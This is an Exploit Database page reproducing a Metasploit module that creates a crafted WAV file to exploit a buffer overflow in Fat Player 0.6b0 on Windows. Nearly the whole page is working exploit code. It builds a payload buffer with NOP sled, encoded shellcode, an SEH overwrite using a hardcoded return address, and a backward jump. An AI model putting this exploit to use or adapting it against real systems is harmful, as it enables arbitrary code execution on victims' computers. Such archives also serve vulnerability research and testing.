Fat Player Media Player 0.6b0 – Local Buffer Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-11-11
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16628/

• ##
  # $Id: fatplayer_wav.rb 10998 2010-11-11 22:43:22Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Fat Player Media Player 0.6b0 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Fat Player 0.6b. When
  				the application is used to import a specially crafted wav file, a buffer overflow occurs
  				allowing arbitrary code execution.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'James Fitts', 		# Original Exploit
  					'dookie',		# Metasploit Module
  				],
  			'Version'=> '$Revision: 10998 $',
  			'References' =>
  				[
  					[ 'OSVDB', '57343'],
  					[ 'URL', 'https://www.exploit-db.com/exploits/15279/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a",
  					'StackAdjustment' => -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Ret' => 0x0046bee3 } ],	# p/p/r in FatPlayer.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 18 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
  			], self.class)
  
  	end
  
  	def exploit
  
  		sploit = rand_text_alpha_upper(100)
  		sploit << make_nops(100)
  		sploit << payload.encoded
  		sploit << rand_text_alpha_upper(3932 - (payload.encoded.length))
  		sploit << generate_seh_record(target.ret)
  		sploit << "\xe9\x60\xf0\xff\xff"	# Jump back 4000 bytes
  			
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(sploit)
  		
  	end
  
  end